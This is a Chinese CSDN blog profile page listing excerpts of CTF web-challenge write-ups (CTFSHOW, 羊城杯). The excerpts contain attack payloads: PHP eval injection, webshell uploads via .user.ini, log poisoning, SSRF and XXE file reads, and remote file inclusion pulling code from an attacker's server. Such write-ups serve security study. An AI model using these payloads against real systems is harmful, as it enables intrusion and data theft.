自定义博客皮肤VIP专享

*博客头图:

格式为PNG、JPG,宽度*高度大于1920*100像素,不超过2MB,主视觉建议放在右侧,请参照线上博客头图

请上传大于1920*100像素的图片!

博客底图:

图片格式为PNG、JPG,不超过1MB,可上下左右平铺至整个背景

栏目图:

图片格式为PNG、JPG,图片宽度*高度为300*38像素,不超过0.5MB

主标题颜色:

RGB颜色,例如:#AFAFAF

Hover:

RGB颜色,例如:#AFAFAF

副标题颜色:

RGB颜色,例如:#AFAFAF

自定义博客皮肤

-+
  • 博客(121)
  • 收藏
  • 关注

原创 CTFSHOW大赛原题篇(web771-web790)

因为题目较多,所以很多地方写的比较简略,望师傅们谅解。。暂时先更新到这了,毕竟还是要工作的。。。。文章目录web771web773web774web775web776web 777web778web779web780web781web782web784web785web786web787web788web789web790web771GXYCTF2019 你的名字题目过滤了{{}} 只要使用就直接报错,所以只能用{%%}进行盲注了然后也过滤了一些字符,但是只是替换成空了。所以可以直接往想使用的字

2022-03-04 13:42:16 962 3

原创 CTFSHOW大赛原题篇(web741-web755)

因为题目较多,所以很多地方写的比较简略,望师傅们谅解。。文章目录web741web742web743web744web745web750web782web785web786web787web788web789web741ssrf绕过url=http://0.0.0.0:8080/flagweb742web743a[]=1&b[]=2&c[]=1&d[]=2web744<?phpclass ctfshowCURL{ private $url="file:/

2022-02-28 16:25:11 845 2

原创 CTFSHOW大赛原题篇(web726-web740)

web726username=;eval($_POST[1]);phpinfo();//username=%00同之前的web692web727自增绕过$_=[];$_=$_.'';$_=$_[';'=='$'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;

2022-02-27 19:38:34 985

原创 CTFSHOW大赛原题篇(web711-web725)

文章目录web711web712web713web782web785web786web787web788web789web711扫描目录发现存在robots.txt,提示static/secretkey.txt访问得到一串字符串ctfshow_love_you然后进入正常的页面,有个登录和注册,随便注册个用户并且登录后,发现存在文件上传点。但是上传php后缀的文件不解析,应该不是php写的了。看下session,应该是一个jwt加密的。那就好说了,伪造一个admin用户,而且加密的秘钥应该就是刚

2022-02-27 19:14:12 4075

原创 CTFSHOW大赛原题篇(web696-web710)

文章目录web696web697web698web699web700web701web702web703web704web705web707web708web709web710web696下载源码是个django的框架。web1里面的利用点很明显,存在一个ssrf而在web2的app.py中存在ssti模板注入所以我们的目的就是通过web1来访问web2,最终通过ssti达到rce的,目的。在web1中我们想利用ssrf必须先得到token,也就是需要用admin登录。所以我们要做的第一

2022-02-23 16:33:07 1556

原创 CTFSHOW大赛原题篇(web680-web695)

CTFSHOW大赛原题篇web680code=phpinfo();先看下disable_function,有一堆过滤。并且open_basedir做了目录限制。r然后看下当前目录下的文件code=var_dump(scandir("."));发现一个文件secret_you_never_know直接访问就拿到flag了 。。。。。。(大无语)web681登录的时候抓个包,比如我们传name=123会返回sql语句select count(*) from ctfshow_users whe

2022-02-23 09:34:28 2308 3

原创 ctfshow终极考核(一键通关脚本)

import requestsimport reimport timeimport base64import urlliburl="http://f1439852-cccf-43e8-a496-fdfe1c9eebd9.challenge.ctf.show/"sess=requests.session()#web640print(re.findall('flag.*?=ctfshow{.*?}',requests.get(url).text)[0])#web641print(sess.

2022-01-03 20:58:45 2897 10

原创 ctfshow终极考核 web66⑥-web669

配合脚本学习效果更好web666可以先看下668先通过js rce ,然后又拿的flag,flag在数据库中web667扫描端口可以找到3000端口flag_667=ctfshow{503a075560764e3d116436ab73d7a560}web668通过jade原型链污染写入一个nodejs,并且运行jade原型链污染可以看下这篇文章https://blog.csdn.net/miuzzx/article/details/111780832写入的nodejs内容如下var

2022-01-03 20:58:33 1180

原创 ctfshow终极考核web655-web665

web655打开/etc/host得到内网地址,遍历一遍发现.5的存活e后台扫描发现有phpinfo.php www.zip robots.txt访问phpinfo.php直接拿到flagflag_655=ctfshow{aada21bce99ddeab20020ac714686303}create function sys_eval returns string soname ‘b.so’;select sys_eval(‘whoami’);web656提示xss,审计index.php

2022-01-03 20:56:40 1530 10

原创 ctfshow终极考核web640-web653

ctfshow终极考核web640直接给了web641在请求头中web642web643通过网络测试功能调用ls命令看到secret.txt,访问后url解码得到flagweb644首页css中存在路径访问后跳转到登录界面查看js得到flag以及登录的密码(0x36d)web645备份功能下载下来后可以看到flag...

2022-01-03 20:56:26 1461

原创 2021羊城杯(部分web)

Only 4直接包含/proc/self/fd/8可以看到日志,接着把一句话写入UA头中,cat /f*得到flag。Cross The Sidelaravel debug rce参考文章https://whoamianony.top/2021/01/15/%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/Laravel/Laravel%20Debug%20mode%20RCE%EF%BC%88CVE-2021-3129%EF%BC%89%E5%88%A9%E7%94%A8%

2021-09-12 18:59:31 1598 3

原创 ctfshow ThinkPHP篇—3.2.3(569-578)

文章目录web569相关内容题解web570web571web572web573web574web575web576web577web578web569相关内容参考thinkphp手册为了访问下图中的index方法并输出hello 123我们可以通过下面四种模式。PATHINFO模式http://localhost/index.php/Home/Index/index/name/123/普通模式http://localhost/index.php?m=Home&c=Index&a

2021-08-05 18:06:22 1927 4

原创 ctfshow ThinkPHP篇575

web575给了源码$user= unserialize(base64_decode(cookie('user')));if(!$user || $user->id!==$id){ $user = M('Users'); $user->find(intval($id)); cookie('user',base64_encode(serialize($user->data())));}$this->show($user->username);}首先引起注意的

2021-08-05 18:05:25 806 2

原创 ctfshow ThinkPHP篇573

web573thinkphp 3.2.3sql注入漏洞源代码class IndexController extends Controller { public function index(){ $a=M('xxx'); //表名 $id=I('GET.id'); $b=$a->find($id); var_dump($b); }}来调试一下看为什么普通的注入不行。本地sql表内数据如下。传入?id=1'首先在I函数里面有个过滤,调用

2021-08-05 18:04:47 883

原创 ctfshow baby杯web

babyphp过了一遍代码,发现可以利用file_put_contents写文件。两个前提:case 'upload'和return !preg_match('/php/i', $input)为true。第一个我们只要不给a传值就可以了。第二个可以上传.user.ini,内容为auto_prepend_file=2.jpg,接着上传2.jpg,内容为<?=`ls /`;?>刷新一下就可以了。...

2021-06-02 18:41:37 1461

原创 ctfshow 大牛杯web

文章目录web_checkineasy_unserializeeasy_cmsweb_checkin输入?code=?><?=`nl%09*`得到源码很明显是想让我们条件竞争。生成文件?code=`nl%09/*>b`开始竞争import requestsimport threadingimport syssession=requests.session()url1="http://ba2bd9c4-6f58-45a1-a637-3cf0140e89c1.c

2021-05-03 20:18:41 9713 12

原创 CTFSHOW web入门 文件包含篇

文章目录web78web79web80web81web82-86web87web88web116web117web78filter伪协议payloadfile=php://filter/convert.base64-encode/resource=flag.php解码后得到flagweb79data伪协议payloadfile=data://text/plain,<?=`tac f*`;?>web80远程文件包含xxx为自己服务器地址?file=http://xxxx

2021-04-28 09:50:07 3660 1

原创 CTFSHOW中期测评486-509(持续更新中)

web486扫描后台发现flag.php,根据url发现存在文件包含,templates/xxx.php所以只需要action=…/flag即可payload:index.php?action=../flagweb487

2021-03-30 21:22:56 1684 1

原创 CTFSHOW nodejs篇

web334在Character.toUpperCase()函数中,字符ı会转变为I,字符ſ会变为S。在Character.toLowerCase()函数中,字符İ会转变为i,字符K会转变为k。所以用ctfſhow 123456登录就可以出flag了web335require( 'child_process' ).spawnSync( 'ls', [ '/' ] ).stdout.toString()web336require( 'child_process' ).spawnSync( 'ls

2021-02-18 22:01:31 6930 8

原创 CTFSHOW其他篇

web396、397、398、399、400、401url=http://1/1;echo `ls`>a.txturl=http://1/1;echo `cat fl0g.php`>a.txtweb402payload:url=file://1/1;echo `cat fl0g.php`>a.txtweb403url=http://127.0.0.1/1;echo `cat fl0g.php`>a.txt

2021-02-05 14:52:15 2694 3

原创 ctfshow虎山行+虎山行revenge

代码审计在mc-admin/page-edit.php中存在任意文件包含漏洞盲猜file=../../../../../../../flag去读flag得到提示地址访问ctfshowsecretfilehh得到源码如下<?phphighlight_file(__FILE__);error_reporting(0);include('waf.php');class Ctfshow{ public $ctfer = 'shower'; public function __

2021-01-24 22:42:34 1305 4

原创 CTFSHOW黑盒测试篇

文章目录web380web381web382、383web384web385web386web387388web389web390web391web392web393web380payload后台目录扫描发现page.php,什么,没有扫到,那就自己添加到扫描器的字典里吧。page.php?id=flagweb381payload地址在源码里面web382、383还是上面的地址,万能密码登录得到flagweb384字典生成import strings1=string.asci

2021-01-15 18:26:26 1956 1

原创 CTFSHOW xxe篇

web373payload<!DOCTYPE test [<!ENTITY xxe SYSTEM "file:///flag">]><yu22x><ctfshow>&xxe;</ctfshow></yu22x>web374、375、376payload<!DOCTYPE test [<!ENTITY % file SYSTEM "php://filter/read=convert.base64

2021-01-11 15:01:38 3335 8

原创 CTFSHOW SSRF篇

了前八道题,因为题目上的比较匆忙,提前做下就当测试题目了。web351存在一个flag.php页面,访问会返回不是本地用户的消息,那肯定是要让我们以本地用户去访问127.0.0.1/flag.phppayload:url=http://127.0.0.1/flag.phpweb352过滤了localhost和127.0.0。还是有很多方法的,比如127.0.1 、127.1、 127。0.0.1 或者转成16进制 2进制转进制的地址https://tool.520101.com/wangluo/

2021-01-05 13:43:06 4499 4

原创 CTFSHOW jwt篇

可以先了解下jwtjwt由三部分组成header、payload、signatureheader示例{ 'typ': 'JWT', 'alg': 'HS256'}payload示例{ "sub": "1234567890", "name": "John Doe"}signaturejwt的第三部分是一个签证信息,这个签证信息由三部分组成:header (base64编码)payload (base64编码)secret(密钥)这个部分需要base64加密后的he

2020-12-30 16:51:42 5812 2

原创 CTFSHOW xss篇

web316xss平台 https://xss.pt/xss.php创建项目选择默认模块一直下一步,然后随便那个代码放到题目输入框中再刷新下题目最后看下项目结束

2020-12-28 12:56:25 9341 12

原创 CTFSHOW php-cve篇

web311CVE-2019-11043参考文章工具下载地址https://github.com/neex/phuip-fpizdam ,需要有go环境go环境安装地址https://golang.google.cn/dl/安装的过程很恶心,会timeout。捣鼓了一两个小时才弄好。具体步骤如下$GOPATH是go安装的目录,记得改成自己的mkdir -p $GOPATH/src/golang.org/x/cd $GOPATH/src/golang.org/x/git clone http

2020-12-21 13:59:14 1883 2

原创 CTFSHOW 代码审计篇

文章目录web301web302web303web304web305web306web307web308web309web310web301下载下来源码,发现checklogin.php里面的sql语句没有任何的过滤。所以直接注入就可以了。用sqlmap跑了下得到用户名密码 admin ctfshowwwww登陆进去就有flagpython sqlmap.py -u http://e62c174a-c4d4-4a58-a392-a41bfca926ee.chall.ctf.show/checkl

2020-12-19 09:01:07 4457 4

原创 CTFSHOW JAVA篇

WEB279-294 296-297脚本通杀 下载 下载链接:https://pan.baidu.com/s/19yr0tWbG1UU_ULjEan5ttQ 提取码:bn71具体用法在md文件中,例如检测python Struts2Scan.py -u http://94c4c47e-4fb3-408c-97d7-56a5094f84a7.chall.ctf.show/S2-001/login.action利用python Struts2Scan.py -u http://94c4c47e-4f

2020-12-17 15:26:14 3785 3

原创 CTFSHOW 反序列化篇

web254没搞懂和反序列化有啥关系,直接传username=xxxxxx&password=xxxxxx出flagweb255请求包内容如下首先get传的username和password都是xxxxxx因为源码里面$user = unserialize($_COOKIE['user']);$user->login($username,$password);就是是说我们需要让反序列后的结果是ctfShowUser的实例化对象。又因为只有$this->isVip是tr

2020-12-11 19:23:05 10716 1

原创 CTFSHOW文件上传篇

151绕过前端验证方法1:直接关闭浏览器的js方法2:上传.png(没错,只能是png,gif和jpg都不行)文件然后bp抓包后修改后缀152

2020-11-19 18:13:41 9067 5

原创 CTFSHOW PHP特性篇 (下篇132-150)

web132if(isset($_GET['username']) && isset($_GET['password']) && isset($_GET['code'])){ $username = (String)$_GET['username']; $password = (String)$_GET['password']; $code = (String)$_GET['code']; if($code === mt_rand(1,0x

2020-10-21 17:51:58 4780

原创 CTFSHOW PHP特性篇(中篇 111-131)

web111function getFlag(&$v1,&$v2){ eval("$$v1 = &$$v2;"); var_dump($$v1);}if(isset($_GET['v1']) && isset($_GET['v2'])){ $v1 = $_GET['v1']; $v2 = $_GET['v2']; if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*

2020-10-21 10:59:59 4875 4

原创 CTFSHOW PHP特性篇(上篇 89-110)

web89if(isset($_GET['num'])){ $num = $_GET['num']; if(preg_match("/[0-9]/", $num)){ die("no no no!"); } if(intval($num)){ echo $flag; }}考察点:数组绕过正则表达式官方文档中如下介绍返回值返回完整匹配次数(可能是0),或者如果发生错误返回FALSE。也就是说如果我们不按规定传一个字符串,

2020-10-21 10:59:37 5721 1

原创 ctfshow web入门58-77绕过disable function

该系列为php中绕过disable function的题目下文中写的过xxx(65之前的)表示此题及此题之前的都可以过通过复制,重命名读取php文件内容(函数执行后,访问url/flag.txt)函数:copy()rename()用法:copy("flag.php","flag.txt"); //过60rename("flag.php","flag.txt"); //过60单一函数读文件内容:函数:file_get_contents()r

2020-09-17 12:07:56 2362 6

原创 ctfshow web入门 web41

这个题过滤了$、+、-、^、~使得异或自增和取反构造字符都无法使用,同时过滤了字母和数字。但是特意留了个或运算符|。我们可以尝试从ascii为0-255的字符中,找到或运算能得到我们可用的字符的字符。这里先给出两个脚本 exp.py rce_or.php,大家以后碰到可以使用或运算绕过的可以自己手动修改下即可。生成可用字符的集合<?php$myfile = fopen("rce_or.txt", "w");$contents="";for ($i=0; $i < 256; $i++

2020-09-13 23:08:37 13156 1

原创 ctfshow web入门 命令执行部分(32-36)

以下目测均为非预期32这个题过滤了空格属实有点难受,php中不用括号的有echo include等过滤了分号可以用?>绕过。尝试了以下,发现 include"/etc/passwd"?>可以执行成功。再去想下没有过滤$,我们可以用$_POST[1]呀include"\$_POST[1]"?>然后post传参1=/etc/passwd执行成功。还有一个问题include包含php文件不会在页面显示出来,灵机一动,伪协议呀!完美33payload?c=include$_POST

2020-09-05 17:38:32 3380 7

原创 ctfshow web入门 命令执行部分 (37-40)

39限制了后缀,我们可以试试伪协议,以为不能带有flag,所以filter协议和php://input也不好用了。最后试了试data协议,发现成功了。payload c=data:text/plain,<?php system('cat f*')?>这样就相当于执行了php语句<?php system('cat f*')?>.php因为前面的php语句已经闭合了,所以后面的.php会被当成html页面直接显示在页面上,起不到什么作用。40这个题可能是出题人把英文括号打成

2020-09-05 17:38:17 5180 2

原创 ctfshow web入门 命令执行部分(29-31)

大佬请自行忽略讲解部分,讲解针对新手。知识点源自payload的构造。大部分flag需要右键查看源码获得29知识点:通配符payload:c=system('cat f*');在linux系统中 有一些通配符* 匹配任何字符串/文本,包括空字符串;*代表任意字符(0个或多个) ls file *? 匹配任何一个字符(不在括号内时)?代表任意1个字符 ls file 0[abcd] 匹配abcd中任何一个字符[a-z] 表示范围a到z,表示范围的意思 []匹配中括号中任意一个字符 ls fil

2020-09-05 17:37:59 2238

原创 CTFSHOW WEB_AK赛

签到_观己既然是签到,那我们就去猜一下flag的位置以及文件名payload:file=/flag.txt结束如果猜不到呢,我们只能另寻他法了1、尝试用伪协议中的data(具体伪协议的用法可参考https://blog.csdn.net/nzjdsds/article/details/82461043)发现allow_url_include没有开启。2、让file=/var/log/nginx/access.log发现可以读取nginx的日志内容,那我们可以试试日志包含写一句话。(其中日志中有客

2020-07-31 20:23:13 3060 3

空空如也

空空如也

TA创建的收藏夹 TA关注的收藏夹

TA关注的人

提示
确定要删除当前文章?
取消 删除